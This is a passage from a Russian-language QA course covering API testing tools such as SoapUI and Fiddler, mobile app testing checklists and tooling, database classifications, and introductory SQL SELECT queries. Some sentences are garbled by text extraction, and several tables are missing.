1, источник 2), но эффективнее всего - ознакомиться с официальной документацией. К
тому же, SoapUI позволяет работать не только с SOAP, но и с REST API.
Для начала тестирования web-сервиса в SoapUI необходимо загрузить путь к WSDL

сервиса при создании нового проекта. Для примера возьмем Yandex Speller API,
который работает на SOAP.
После этого проект будет готов к тестированию в виде загруженных запросов слева.
Для отправки запроса необходимо раскрыть список до уровня Request, заполнить
параметры в уже подготовленном XML файле запроса и отправить его, нажав на
кнопку . Ответ сервера будет отображен в правой части экрана.
SoapUI так же позволяет составлять Test Suites и Test Cases. Тест-комплекты и тест-
кейсы позволяют создавать сценарии тестирования API, подготавливать данные для
запросов и автоматически проверять полученный ответ на соответствие ожидаемому.
247
На первых порах их можно использовать просто как коллекции запросов. Например,

если вы завели дефект и хотите быстро проверить его после фикса, можно выделить
отдельный тест-комплект конкретно под запросы-дефекты.
Fiddler
Fiddler - прокси, который работает с трафиком между Вашим компьютером и
удаленным сервером, и позволяет инспектировать и менять его. Использовать его
можно с любым браузером.
Для начала инспекции всех запросов, который отправляет браузер, необходимо просто
открыть его и дать команду "начать работу" в браузере параллельно. Вы увидите, что
каждый запрос, отправляемый браузером, отображается в окне запросов слева. Их
можно просматривать и выбирать запросы, смотреть их заголовки, сохранять их на
диск все вместе или по отдельности.
На вкладке AutoResponder можно настроить Fiddler так, чтобы он подставлял свой

файл вместо ответа сервера. Например, приятель попросил поправить скрипт vasya.js
на сайте, но доступа к серверу не дал.
С Fiddler задача решается просто: сохраняете скрипт на диске, в AutoResponder
указываете, что vasya.js нужно брать с диска, а не с сайта, перезагружаете страницу,
проверяете – всё с комфортом.
Вкладка Composer позволяет составить запрос на сервер вручную, подобно Postman

или SoapUI.
Например, Вы хотите сделать такой же запрос, как только что делали. Для этого можно
просто выбрать его слева и нажать кнопку Replay (слева-сверху).
А если хочется поменять? Нет ничего проще. Выбираем справа Composer и
перетаскиваем запрос слева в него. После этого исправляем, что хотим и нажимаем
Execute.
248
Вкладка Filters позволяет назначить действия, в зависимости от вида запроса.
В меню Rules → Automatic Breakpoints можно включить автоматическое прерывание

Fiddler при обработке запроса.
После этого, если сделать запрос в браузере, подключенном к Fiddler, то его
выполнение зависнет, а в левом окошке Fiddler этот запрос будет отмечен
специальным значком.
Если выбрать такой подвисший запрос мышкой, то во вкладке Session Inspector им
можно управлять: менять сам запрос и ответ сервера (после Break on Response, когда
сервер уже ответил). Данная функция очень полезна для того, чтобы легко отловить
нужный запрос, особенно, когда при каждом действии в браузере отправляется много
запросов и трудно выявить, какой из них необходим.
Advanced REST Client

Advanced REST Client - расширение для Chrome для работы с API (конструкция
запросов, их демонстрация в удобном виде и другое). Подобно Postman, оно
позволяет заполнять данные форм и делать POST, PUT, GET, DELETE запросы,
смотреть ответы от сервера и многое другое.
Запросы можно сохранять на Google Drive и это очень удобно, если вдруг через
некоторое время захотите повторить запрос.
В Advanced Rest Client можно задавать множество параметров, как в режиме ввода
XML, JSON и др., так и в графическом режиме по каждому параметру поля.
249
250
Лекция 9, ч.1. Тестирование мобильных приложений
Тестирование мобильных приложений

Мобильное тестирование - это постоянный процесс тестирования функциональности
мобильных приложений и удобства работы с ними.
Тестирование мобильных приложений предусматривает наличие специальных

инструментов и методик для тестирования. Разнообразие мобильных технологий,
платформ и устройств вызывает дополнительные трудности при разработке и
тестировании мобильных приложений.
Android – это бесплатная операционная система, разработанная для мобильных

телефонов, смартфонов, коммуникаторов на базе ОС Linux. Поддерживается
альянсом Open Handset Alliance (OHA). Операционная система позволяет
разрабатывать Java-приложения, благодаря которым можно управлять устройством.
Используется код ARM, под который можно писать приложения на С++ и др.
Формат apk (название файла.apk) имеют все установочные файлы приложений для
ОС Андроид.
Функциональные составляющие Android:
Application framework – набор компонентов для различных приложений.
Dalvik virtual machine – виртуальная машина, в которой работают приложения.
Главные характеристики:
Встроенный браузер работает на основе WebKit с открытым кодом.
Оптимизированная графика с 2D библиотекой, 3D графика – OpenGL ES 1.0.
Возможна поддержка hardware акселератора.
Поддержка медиа форматов: звук, видео, картинки (MPEG4, H.264, MP3, AAC,
AMR, JPG, PNG, GIF).
GSM стандарт, Bluetooth, EDGE, 3G и WiFi, камера, GPS, компас и акселерометр.
iOS — мобильная операционная система смартфонов для электронных планшетов,

носимых проигрывателей, Apple iPhone, iPod touch и некоторых других устройств,
разрабатываемая и выпускаемая американской компанией Apple TV автомобильных.
Операционная система характерна такими особенностями:
1. Быстрота работы, интерфейс системы практически не тормози.
251
2. Система достаточно быстро загружается.
3. Интерфейс достаточно красочен и понятен.
4. Система удаления программ удобна и позволяет удалить программы в 2 клика.
5. Можно купить любую программу. Каталог программ в AppStore огромен.
6. Достаточно хорошие обновления. Естественно, в каждой новой версии есть

определенные ошибки, однако с каждой новой версией система становится все
удобнее и функциональнее.
Ipa файл - файл программы для установки на iOS. Система имеет встроенный
браузер Safari. Последняя версия ОС — iOS 11. Новая версия выходит раз в году.
Недостатки системы Apple iOS
1. Как таковой многозадачности нормальной нет — на фоне работают музыка, радио,

закачивание и скачивание. Но не во всех приложениях. Когда приложение
сворачивается, то оно работает некоторое время, а потом останавливается.
2. Операционная система является закрытой. Нельзя посмотреть список файлов
операционной системы и использовать устройство как флешку. Это является
одновременно и достоинством. iOS — самая защищенная система в мире.
3. Дороговизна телефонов и планшетов на данной операционной системе.
Достоинства:
1. Самый крупный магазин приложений с достаточно качественными приложениями.

2. Быстрота работы системы (по сравнению с другими).
3. Хорошее качество телефонов и планшетов компании Apple.
4. Быстрая реакция на ошибки и отсутствие вирусов.
5. Красота интерфейса и графики.
6. Постоянное обновление системы (раз в год,) в т.ч. и для старых устройств.
Моменты, которые должны быть

протестированы
1. Размер экрана и touch-интерфейс:
2. Все элементы должны быть такого размера, чтобы пользователь мог однозначно
попасть по ним.
252
3. Отсутствие пустых экранов в приложении – пользователь не должен оказываться

в ситуации, в которой не очевидно, что сейчас происходит и что делать.
4. Следует проверять многократное быстрое нажатие на кнопку – часто при этом

может случиться падение приложения. Также следует проверять мультитач –
нажатие на несколько кнопок одновременно.
5. Следует проверять наличие или отсутствие «нативных» жестов (pinch-to-zoom,

doubletap) – если, например, поддерживается зум части приложения, то должен
использоваться жест по умолчанию. А если нет необходимости выделять картинку,
то по даблтапу она не должна выделяться.
2. Ресурсы устройства:
Утечки памяти - проявляется на окнах с большим количеством информации

(длинные списки как пример), во время задач с длительным workflow (когда
пользователь долго не выходит из приложения), при некорректно работающем
кэшировании изображений.
Обработка ситуаций нехватки памяти для функционирования ОС, когда

приложение активно или работает в фоне.
Недостаток места для установки или работы приложения.
Отсутствие в некоторых устройствах поддерживаемых приложением функций (3G,

SD-карта).
Установка или перенос приложения на карту SD.
3. Различные разрешения экрана и версии ОС:
Ретина и обычные экраны. На ретина-экранах элементы интерфейса и текст

отображаются мельче. Картинки для ретина-экрана могут попасть в неретина-
версию и тогда будут слишком большими.
Адаптация приложения к портретной и альбомной ориентациям устройства.
Версии ОС. Приложение не должно устанавливаться на неподдерживаемые

устройства. Обязательна проверка на всех доступных из поддерживаемых
девайсов.
Поддержка необходимых медиа-файлов данной моделью и ОС, потому что

отдельные разработчики могут урезать поддержку работы с некоторыми
форматами.
253
Соответствие используемых в приложении view их смысловому назначению и

концепциям платформы. Проектные решения, которые имеют смысл для одной
платформы, могут выглядеть и быть неуместными в контексте другой платформы.
4. Реакция приложения на внешние прерывания:
Входящие и исходящие SMS, MMS, звонки, оповещения других приложений.
Выключение устройства, изъятие аккумулятора, разрядка устройства.
Переход в режим ожидания (в том числе и с защитой паролем). Смена ориентации

устройства в режиме ожидания.
Отключение и подключение провода.
Отключение и включение сети, Bluetooth, авиарежима, GPS.
Потеря связи с сервером или прокси (подключение есть, но пакеты не доходят).
Отключение и подключение SD-карты, дополнительных устройств вроде

физической клавиатуры или гарнитуры.
Зарядка устройства, работа с физической клавиатурой.
5. Платный контент внутри приложения:
Соответствие цены и содержимого, заявленного в приложении.
Восстановление покупки (обновление приложения).
6. Интернационализация (проверять и в портретном, и в ландшафтном режиме!):
Проверка корректности перевода.
Проверка того, что все надписи входят в соответствующие формы, кнопки и т.п.
Проверка форматов дат, разделителей в числах, специфических особенностей

локализации (вроде пробела перед знаком вопроса во французской, верхних
индексов “o” и “a”, в порядковых числительных в испанской и других
нетривиальных моментах).
7. Обновления:
Убедиться, что поддерживаются те же версии ОС, что и предыдущая версия (если

новая версия приложения использует новые возможности ОС, то для старых
поддерживаемых версий ОС необходимо создание урезанной версии
приложения).
Проверка адекватного обновления (сохраняются все данные пользователя и т. п.).
254
8. Постоянная обратная связь с пользователем:
У всех нажимаемых элементов должно быть нажатое состояние (отклик на

действие). В Android-приложениях у элементов может быть ещё одно состояние –
focused.
Реакция кнопок на нажатие. Скорость отклика элементов должна быть достаточно

высокой. Желательно использовать для проверки этого пункта самые слабые
устройства среди поддерживаемых.
Сообщения при загрузке контента или прогресс-бар.
Сообщения при ошибке доступа к сети, GPS.
Наличие понятных сообщений при попытке удалить важную информацию.
Наличие экрана или сообщения при окончании процесса или игры.
Наличие и синхронность звуков или вибрации с уведомлениями и другими

событиями на экране.
9. Жесты в мобильных девайсах:
255
Типы мобильных приложений

Существует три основных типа мобильных приложений: мобильные веб-приложения,
нативные приложения и гибридные приложения.
Мобильным веб-приложением является веб-сайт, который открывается в гаджете

(смартфоне или планшете) с помощью мобильного браузера.
Достоинства мобильных веб-приложений:
Простая разработка.
Легкий доступ.
Простое обновление.
Мобильные веб-приложения не требует установки.
256
Недостатки мобильных веб-приложений:
Нет поддержки автономных функций.
Ограниченная функциональность в сравнении с гибридными и нативными

приложениями (нет доступа к файловой системе и локальным ресурсам)
Проблемы с перераспределением: Google Play и App Store не поддерживают

перераспределение мобильных веб-приложений.
Нативное приложение - это приложение, разработанное специально для одной

платформы (Android, iOS, BlackBerry).
Достоинства нативных приложений:
Нативное приложение работает в автономном режиме.
Оно может использовать все функции своего устройства.
Продвинутый пользовательский интерфейс.
Push-уведомления для удобства пользователей.
Недостатки нативных приложений:
Разработка нативных приложений обходится дороже в сравнении с мобильными

веб-приложениями.
Требуется больших затрат на техническое обслуживание.
Гибридное приложение - это сочетание нативного и мобильного веб-приложений. Его

можно определить как отображение содержимого мобильного сайта в формате
Достоинства гибридных приложений:
Более рентабельно в сравнении с нативным приложением.
Простое распространение.
Встроенный браузер.
Особенности устройства.
Недостатки гибридных приложений:
Работает не так быстро, как нативное приложение.
Графика менее адаптирована к ОС в сравнении с нативным приложением.
257
258
Лекция 9, ч.2. Программное обеспечение, применяемое при тестировании мобильных
применяемое при тестировании
мобильных приложений
Установка приложений на девайс

1.Android:
Перенесение .apk на sdcard.
Установка с PlayMarket.
Использование AirDroid.
Android Debug Bridge.
ADB (Android Debug Bridge, отладочный мост Андроид) – устанавливает связь

между устройством и компьютером и позволяет прямо на компьютере выполнять
различные манипуляции с системой Android.
AirDroid – это приложение только для ОС Android, которое позволит Вам подключить
Ваше устройство к компьютеру по беспроводной сети. Она работает почти так же, как
если бы Вы подключили Ваше устройство к компьютеру с помощью USB-кабеля, к
тому же, AirDroid располагает несколькими прекрасными функциями. Среди них,
например, удобная передача файлов и отправка SMS-сообщений.
2.iOS:
Testflight.
iTunes.
Xcode.
iTools.
Test Flight — это сервис, упрощающий тестирование приложений для iOS-устройств

путем облегчения процесса сбора кодов тестовых устройств (UDID-ов), а также путем
более легкого распространения подписанных для тестеров билдов Вашего
приложения. Плюс ко всему, можно видеть, сколько раз приложение запускали,
сколько раз оно падало, а также получать некоторую отладочную информацию.
259
iTunes — медиаплеер для организации и воспроизведения музыки и фильмов,

разработанный компанией Apple и бесплатно распространяемый для платформ
macOS и Windows. iTunes предоставляет доступ к фирменному онлайн-магазину
iTunesStore, позволяя покупать музыку, фильмы, приложения. Это программа для
синхронизации устройств на базе ОС iOS.
iTools – программа для снятия логов, установки билдов и снятия видео/скриншотов на

базе ОС iOS. Это бесплатная русская альтернатива iTunes для работы с iPhone, iPad и
iPod на компьютерах под Windows и iOS.
Xcode — интегрированная среда разработки программного обеспечения (IDE) macOS

iOS для платформ watchOS, tvOS, Apple, разработанная корпорацией.
Снятие логов, скриншотов

Крэш-лог (Crash Log) – файл, в котором хранится вся информация по ошибке
неработоспособности/экстренного завершения работы программы.
Лог-файл (журнал событий, Log) – это файлы, содержащие системную информацию

работы сервера или компьютера, в которые вносятся определенные действия
пользователя или программы.
Снятие логов в Android:
Использовать ddms.bat (находится в папке tools - Android sdk).
Catlog.
Screens - Power + Громкость.
Снятие логов с Android устройств с помощью LogCat:
1. Необходимо установить JDK и скачать Android SDK.
2. Включение отладки по USB на устройстве (в “About device” тапать на номер билда

до тех пор, пока не включится режим разработчика).
3. Отметить чекбокс “USB debugging” в “Developer options”.
4. Запустить файл “monitor.bat”, который находится в папке с инструментами

(c:\adt\sdk\tools\monitor.bat).
5. В открывшемся окне выбрать устройство, с которого будет производиться

логирование.
260
6. Выполнить действия, которые должны быть залогированы, выбрать нужный

участок и сохранить лог в файл.
Снятие логов в iOS:
iTunes.
Xcode.
QuickTime Player.
Organizer - Devices ~ /Library/Logs/CrashReporter/MobileDevice.
Screens - Home+Power.
Снятие логов посредством iTunes: нужно подключить устройство к компьютеру,

запустить iTunes, выбрать Ваше устройство слева и нажать синхронизировать. В
результате, все логи с устройства будут записаны в папку вида (Windows 7) - c:\Users\
[ИмяПользователя]\AppData\Roaming\Apple Computer\Logs\CrashReporte.
**Xcode**
Для просмотра краш-репортов нужно подключить iOS-устройство к компьютеру, нажать

кнопку "Доверять" на мобильном устройстве. Запустить Xcode и перейти в Window →
Devices and Simulators.
261
Эмуляторы и симуляторы
Эмулятор - это программа, которая копирует (эмулирует) функции мобильного
устройства (или нескольких устройств) на ПК.
При симуляции создается абстрактная модель имитируемой мобильной операционной

системы.
Android:
Android Virtual Device Manager.
Genymotion.
BrowserStack.
iOS:
Xcode.
BrowserStack.
Android Virtual Device Manager (AVD Manager)
AVD Manager – это инструмент, который является частью Android Studio и

предназначен для настройки, проверки и обновления SDK компонентов в среде
разработки приложений под операционную систему Android.
1. Необходимо установить JDK и скачать Android SDK.

2. Cоздать Android virtual device (AVD) для тестируемого устройства. В менеджере
AVD есть список готовых устройств в “Device Definitions”. Для начала, выберите
одно из них и нажмите “Create AVD”.
3. Выбрать любой CPU и поставить “No skin“ и “Use host GPU”. Теперь можно
запускать виртуальное устройство и использовать браузер Android для
262
iOS:
Xcode.
263
BrowserStack.
iOS Simulator:
1. Установить Xcode.
2. Сразу после его установки необходимо открыть в Finder папку «Программы» и

найти в списке Xcode. Нажать на программу правой кнопкой мыши и выбрать
«Показать содержимое пакета».
3. Идти по пути: Contents/Developer/Applications и переносим иконку программы

Simulator в Dock.
4. Как только иконка программы Simulator окажется в Dock, можно производить

запуск эмулятора iOS.
5. Спустя несколько секунд после запуска на рабочем столе компьютера появится

окно с операционной системой iOS. Произвести выбор устройства для эмуляции
можно в разделе Hardware.
Программы для манипуляции с сетями - Network Link Conditioner
Удобный и крайне простой инструмент для установки требуемого соединения.

Имитация плохой связи на реальном девайсе + потеря части пакетов данных.
Сервисы для проксирования данных - Fiddler или Charles.
Программы необходимы для того, чтобы посмотреть за отправляемыми/получаемыми

данными приложения через сеть. Каждый из них будет выполнять функцию man-in-the-
middle, что позволит Вам просмотреть все содержимое пакетов данных.
264
265
Лекция 10, ч.1. Базы данных и их разновидности
Базы данных и их разновидности

База данных (БД) –это совокупность массивов и файлов данных, организованная по
определённым правилам, предусматривающим стандартные принципы описания,
хранения и обработки данных независимо от их вида.
Основные классификации баз данных

Существует огромное количество разновидностей баз данных, отличающихся по
различным критериям. Основные из них:
1. Классификация по модели данных
Центральным понятием в области баз данных является понятие модели.
Модель данных - это некоторая абстракция, которая, будучи приложима к конкретным

данным, позволяет пользователям и разработчикам трактовать их уже как
информацию, то есть сведения, содержащие не только данные, но и взаимосвязь
между ними.
Виды:
Иерархическая.
Объектная и объектно-ориентированная.
Объектно-реляционная.
Реляционная.
Сетевая.
Функциональная.
1) Иерархическая база данных – каждый объект, при таком хранение информации,

представляется в виде определенной сущности, то есть у этой сущности могут быть
дочерние элементы, родительские элементы, а у тех дочерних могут быть еще
дочерние элементы, но есть один объект, с которого все начинается. Получается
своеобразное дерево. Примером иерархической базы данных может быть документ в
формате XML или файловая система компьютера.
266
Следует сказать, что базы данных подобного вида оптимизированы под чтение
информации, то есть базы данных, имеющие иерархическую структуру умеют очень
быстро выбирать запрашиваемую информацию и отдавать ее пользователям. Но
такая структура не позволяет столь же быстро перебирать информацию. Здесь можно
привести первый пример из жизни: компьютер может легко работать с каким-либо
конкретным файлом или папкой (которые, по сути, являются объектами иерархической
структуры), но проверка компьютера антивирусам осуществляется очень долго. Второй
пример – реестр Windows.
На изображении Вы можете увидеть структуру иерархической базы данных. В самом

верху находится родитель или корневой элемент, ниже находятся дочерние
элементы, элементы находящиеся на одном уровне называются братьями или
соседними элементами. Соответственно, чем ниже уровень элемента, тем
вложенность этого элемента больше.
Объектные базы данных - это модель работы с объектными данными.
Такая модель баз данных, несмотря на то, что она существует уже много лет,
считается новой. И её создание открывает большие перспективы, в связи с тем, что
использование объектной модели баз данных легко воспринимается пользователем,
так как создается высокий уровень абстракции. Объектная модель идеально подходит
для трактовки такого рода объектных данных как изображение, музыка, видео, разного
вида текст.
Объектно-ориентированная база данных (ООБД) - база данных, в которой данные

моделируются в виде объектов, их атрибутов, методов и классов.
Объектно-ориентированные базы данных обычно рекомендованы для тех случаев,

когда требуется высокопроизводительная обработка данных, имеющих сложную
структуру.
267
2) Объектно-реляционные СУБД объединяют в себе черты реляционной и объектной

моделей. Их возникновение объясняется тем, что реляционные базы данных хорошо
работают со встроенными типами данных и гораздо хуже - с пользовательскими,
нестандартными. Когда появляется новый важный тип данных, приходится либо
включать его поддержку в СУБД, либо заставлять программиста самостоятельно
управлять данными в приложении.
Не всякую информацию имеет смысл интерпретировать в виде цепочек символов или

цифр. Представим себе музыкальную базу данных. Песню, закодированную в виде
аудиофайла, можно поместить в текстовое поле большого размера, но как в таком
случае будет ли осуществляться текстовый поиск?
3) Реляционная(или табличная) БД содержит перечень объектов одного типа, т.е.

объектов с одинаковым набором свойств.
Такую базу удобно представлять в виде двумерной таблицы (или, чаще всего,
нескольких связанных между собой таблиц).
Примером такой таблицы может служить БД "Учащиеся", представляющая собой

перечень объектов (учеников), каждый из которых имеет фамилию, имя, отчество,
дату рождения, класс, номер личного дела и др.
Столбцы такой таблицы называют полями; каждое поле характеризуется своим

именем (названием соответствующего свойства объекта) и типом данных, которые это
поле может хранить. Каждое поле обладает определенным набором свойств (размер,
формат и т. п.). Т. о., поле БД - это столбец таблицы, содержащий значения
определенного свойства объектов.
Строки таблицы являются записями. Записи разбиты на поля. Каждая строка таблицы
содержит запись об одном единственном объекте, включая все его свойства.
В каждой таблице должно быть хотя бы одно ключевое поле, содержимое которого
уникально для любой записи в этой таблице. Значения ключевого поля однозначно
определяют каждую запись в таблице. В приведенном выше примере ключевым полем
может являться поле "Номер личного дела". Очень часто в качестве ключевого поля
используется поле, содержащее данные типа счетчик.
4) Сетевые базы данных являются своеобразной модификацией иерархических баз

данных. Если Вы внимательно смотрели на изображение выше, то наверняка
обратили внимание, что к каждому нижнему элементу идет только одна стрелочка от
верхнего элемента. То есть у иерархических баз данных у каждого дочернего элемента
может быть только один потомок. Сетевые базы данных отличаются от иерархических
268
тем, что у дочернего элемента может быть несколько предков, то есть элементов
стоящих выше него. Для большей наглядности и понимания структуры сетевых баз
данных обратите внимание на изображение:
Стоит заметить, что сетевые базы данных обладают примерно теми же

характеристиками, что и иерархические базы данных. Но сейчас нас не особо
интересуют иерархические и сетевые базы данных, данная тема больше относится к
формату XML.
5) Функциональные базы данных используются для решения аналитических задач:

финансовое моделирование и управление производительностью. Функциональная
база данных или функциональная модель отличается от реляционной модели.
Функциональная модель также отличается от других аналогично названных концепций,
включая модель функциональной базы данных DAPLEX и базы данных
функциональных языков.
Функциональная модель является частью категории оперативной аналитической

обработки (OLAP электронной таблице,), поскольку она включает многомерное
иерархическое объединение. Но она выходит за рамки OLAP, требуя ориентирования
ячейки, подобно тому, где ячейки могут быть введены или рассчитаны как функции
других ячеек. Также, как и в электронных таблицах, данная модель поддерживает
интерактивные вычисления, в которых значения всех зависимых ячеек автоматически
обновляются каждый раз, когда изменяется значение ячейки.
1. Классификация по содержимому
Примеры:
Географическая.
Историческая.
Научная.
Мультимедийная.
Клиентская.
1. Классификация по степени распределённости:
269
Централизованная или сосредоточенная (англ. centralized database): БД, которая

полностью поддерживается на одном компьютере.
Распределённая (англ. distributed database): БД, составные части которой

размещаются в различных узлах компьютерной сети в соответствии с каким-либо
критерием.
Неоднородная (англ. heterogeneous distributed database): фрагменты

распределённой БД в разных узлах сети поддерживаются средствами более одной
СУБД.
Однородная (англ. homogeneous distributed database): фрагменты распределённой

БД в разных узлах сети поддерживаются средствами одной и той же СУБД.
Фрагментированная или секционированная (англ. partitioned database): методом

распределения данных является фрагментирование (партиционирование,
секционирование), вертикальное или горизонтальное.
Тиражированная (англ. replicated database): методом распределения данных

является тиражирование.
1. Классификация БД по среде физического хранения:

БД во вторичной памяти (традиционные): средой постоянного хранения является
периферийная энергонезависимая память (вторичная память) - это, как правило,
жёсткий диск. В оперативную память СУБД помещает лишь кэш и данные для
текущей обработки.
БД в оперативной памяти (in-memory databases): все данные находятся в

оперативной памяти.
БД в третичной памяти (tertiary databases): средой постоянного хранения является

отсоединяемое от сервера устройство массового хранения (третичная память), как
правило, на основе магнитных лент или оптических дисков. Во вторичной памяти
сервера хранится лишь каталог данных третичной памяти, файловый кэш и
данные для текущей обработки; загрузка же самих данных требует специальной
процедуры.
SQL
SQL - язык структурированных запросов, основной задачей которого является
предоставление простого способа считывания и записи информации в базу данных.
Функции языка SQL:
270
Организация данных – создание и изменение структуры баз данных.

Чтение данных.
Обработка данных – удаление, добавление и корректировка данных.
Управление доступа к данным – предоставление привилегий (ограничение
возможностей) пользователю для чтения и изменения данных.
Совместное использование данных - координация общего пользования данных
многими пользователями.
Целостность данных – защита данных от разрушения при сбое системы или
других обстоятельствах.
СУБД
Большинство современных СУБД построено на реляционной модели данных. Для
получения информации из отношений (таблиц) базы данных в качестве языка
манипулирования данными в теоретическом плане используется язык SQL
СУБД - система управления базами данных, совокупность программных и

лингвистических средств общего или специального назначения, обеспечивающих
управление созданием и использованием баз данных
Основные функции СУБД:
Управление данными во внешней памяти (на дисках).
Управление данными в оперативной памяти с использованием дискового кэша.
Журнализация изменений, резервное копирование и восстановление базы данных

после сбоев.
Поддержка языков БД (язык определения данных, язык манипулирования

данными).
Типы данных в SQL

Каждый столбец в таблице базы данных должен иметь имя и тип данных.
SQL разработчики должны решить, какие типы данных будут храниться внутри каждого
столбца таблицы при создании таблицы SQL. Тип данных представляет собой метку и
ориентир для SQL, чтобы понять, какой тип данных, как ожидается, внутри каждого
столбца, а также определяет, как SQL будут взаимодействовать с хранимыми
данными.
271
В следующей таблице перечислены общие типы данных в SQL:
SQL Data Type - Краткий справочник в разрезе БД
Тем не менее, различные базы данных предлагают различные варианты для

определения типа данных.
В следующей таблице приведены некоторые из общих названий типов данных между

различными платформами баз данных:
272
273
Лекция 10, ч.2. Запросы на выборку и модификацию данных
Запросы на выборку и модификацию

данных
Нужно понимать, что все SQL запросы делятся на четыре группы:
1. Инструкции или операторы для определения данных(Data Definition Language,

DDL).
2. Для манипуляции данными(Data Manipulation Language, DML).
3. Для определения параметров доступа к данным(Data Control Language, DCL).
4. Для управления транзакциями(Transaction Control Language, TCL).
Определение данных подразумевает создание, редактирование и удаление различных

объектов базы данных, таких как таблицы (tables), табличные представления (views),
синонимы (synonyms), хранимые процедуры, профили пользователя и т.п.
Определение параметров доступа к данным – это процесс награждения или
лишения объектов базы данных различного рода разрешениями, привилегиями и
полномочиями, например, предоставление конкретному пользователю базы данных
(имеется в виду объект типа user/schema, который определяет права доступа к
разделам базы данных в распределенных СУБД, например, в Oracle) возможности
осуществлять запросы к конкретной таблице. Управление транзакциями, в самом
простом варианте, сводится к возможности сохранить текущие изменения,
накопившиеся в результате выполнения последовательности запросов манипуляции
данными или целиком их все отменить.
Чаще всего, под SQL запросами понимается именно группа операторов манипуляции
данными. Каждая отдельно взятая СУБД поддерживает ту или иную группу SQL
запросов в разной мере/объеме, но, наибольшим образом, все они пересекаются
именно в реализации операций манипуляции данными. По этой причине будет
рассматриваться только эта группа команд: выбор, обновление, добавление и
удаление записей из таблиц.
Все запросы на получение практически любых данных из одной или нескольких таблиц
выполняются с помощью единственного предложения SELECT.
В синтаксических конструкциях для обращения к БД используются следующие

обозначения:
звездочка (*) для обозначения "все" употребляется в обычном для

программирования смысле, т.е. "все случаи, удовлетворяющие определению";
274
квадратные скобки ([]) означают, что конструкции, заключенные в эти скобки,

являются необязательными (т.е. могут быть опущены);
фигурные скобки ({}) означают, что конструкции, заключенные в эти скобки,

должны рассматриваться как целые синтаксические единицы, т.е. они позволяют
уточнить порядок разбора синтаксических конструкций, заменяя обычные скобки,
используемые в синтаксисе SQL;
многоточие (…) указывает на то, что непосредственно предшествующая ему

синтаксическая единица факультативно может повторяться один или более раз;
прямая черта (|) означает наличие выбора из двух или более возможностей.
Например, обозначение ASC|DESC указывает, можно выбрать один из терминов
ASC или DESC; когда же один из элементов выбора заключен в квадратные
скобки, то это означает, что он выбирается по умолчанию (так, [ASC]|DESC
означает, что отсутствие всей этой конструкции будет восприниматься как выбор
ASC);
точка с запятой (;) - завершающий элемент предложений SQL;
запятая (,) используется для разделения элементов списков;
пробелы ( ) могут вводиться для повышения наглядности между любыми

синтаксическими конструкциями предложений SQL;
жирные прописные латинские буквы и символы используются для написания

конструкций языка SQL и должны (если это специально не оговорено)
записываться в точности так, как показано;
строчные буквы используются для написания конструкций, которые должны

заменяться конкретными значениями, выбранными пользователем, причем, для
определенности отдельные слова этих конструкций связываются между собой
символом подчеркивания (_);
термины "таблица" и "столбец" заменяют (с целью сокращения текста

синтаксических конструкций) термины "имя_таблицы", "имя_столбца", …,
соответственно;
термин "таблица" - используется для обобщения таких видов таблиц, как

базовая_таблица, представление или псевдоним; здесь псевдоним служит для
временного (на момент выполнения запроса) переименования и (или) создания
рабочей копии базовой_таблицы (представления).
275
Оператор SELECT осуществляет выборку из базы данных и имеет наиболее сложную

структуру среди всех операторов языка SQL. Простейший оператор SELECT выглядит
так: SELECT * FROM PC. Он осуществляет выборку всех записей из объекта БД
табличного типа с именем PC. При этом, столбцы и строки результирующего набора не
упорядочены. Чтобы упорядочить поля результирующего набора, их следует
перечислить через запятую в нужном порядке после слова SELECT:
SELECT price, speed, hd, ram, cd, model, code
FROM PC.
В таблице 1 приводится результат выполнения этого запроса.
Таблица 1. – Запрос SELECT
Вертикальную проекцию таблицы РC можно получить, если перечислить только

необходимые поля. Например, чтобы получить информацию только о скорости
процессора и объеме оперативной памяти компьютеров, следует выполнить запрос:
SELECT speed, ram FROM PC;
который вернет следующие данные (Таблица 2.):
Таблица 2. – Запрос SELECT speed.
276
Следует отметить, что вертикальная выборка может содержать дубликаты строк в том
случае, если она не содержит потенциального ключа, однозначно определяющего
запись. В таблице PC потенциальным ключом является поле code, которое выбрано в
качестве первичного ключа таблицы. Поскольку это поле отсутствует в запросе, в
приведенном выше результирующем наборе имеются дубликаты строк (например,
строки 1 и 3). Если требуется получить уникальные строки (скажем, нас интересуют
только различные комбинации скорости процессора и объема памяти, а не
характеристики всех имеющихся компьютеров), то можно использовать ключевое
слово DISTINCT:
SELECT DISTINCT speed, ram FROM PC;
что даст такой результат (Таблица 3.):
Таблица 3. – 1-й результат запроса SELECT DISTINCT speed.
Помимо DISTINCT, может применяться также ключевое слово ALL (все строки),
которое принимается по умолчанию. Чтобы упорядочить строки результирующего
набора, можно выполнить сортировку по любому количеству полей, указанных в
предложении SELECT. Для этого используется предложение ORDER BY, являющееся
всегда последним предложением в операторе SELECT. При этом, в списке полей могут
указываться как имена полей, так и их порядковые позиции в списке предложения
SELECT. Так, если требуется упорядочить результирующий набор по объему
оперативной памяти в порядке убывания, можно записать:
SELECT DISTINCT speed, ram
FROM PC
ORDER BY ram DESC
Или
FROM PC
ORDER BY 2 DESC
Результат, приведенный ниже, будет одним и тем же.
277
Сортировку можно проводить по возрастанию (параметр ASC принимается по

умолчанию) или по убыванию (параметр DESC). Сортировка по двум полям:
FROM PC
ORDER BY ram DESC, speed DESC
даст следующий результат (Таблица 5.):
Горизонтальную выборку реализует предложение WHERE , которое записывается

после предложения FROM. При этом, в результирующий набор попадут только те
строки из источника записей, для каждой из которых значение предиката равно TRUE.
То есть предикат проверяется для каждой записи.
Логические операторы (Transact-SQL)

Логические операторы проверяют истину некоторого условия. Логические операторы,
например, оператор сравнения, возвращают значение типа Boolean: TRUE, FALSE или
UNKNOWN.
278
Операторы сравнения (Transact-SQL)

Операторы сравнения позволяют проверить, одинаковы ли два выражения.
Операторы сравнения можно применять ко всем выражениям, за исключением
выражений типов text, ntext и image. Операторы сравнения Transact-SQL приведены в
следующей таблице:
279
Тип данных Boolean
Результат выполнения оператора сравнения имеет тип данных Boolean. Он может

иметь одно из трех значений: TRUE, FALSE и UNKNOWN. Выражения, возвращающие
значения типа Boolean, называются «логическими выражениями». В отличие от других
типов данных SQL Server, тип Boolean не может быть типом столбца или переменной и
не может быть возвращен в результирующем наборе.
Примеры использования предикатов

Предикаты представляют собой выражения, принимающие истинностное значение.
Они могут представлять собой как одно выражение, так и любую комбинацию из
неограниченного количества выражений, построенную с помощью булевых операторов
AND, OR или NOT. Кроме того, в этих комбинациях может использоваться SQL-
оператор IS, а также круглые скобки для конкретизации порядка выполнения операций
Предикат в языке SQL может принимать одно из трех значений TRUE (истина), FALSE
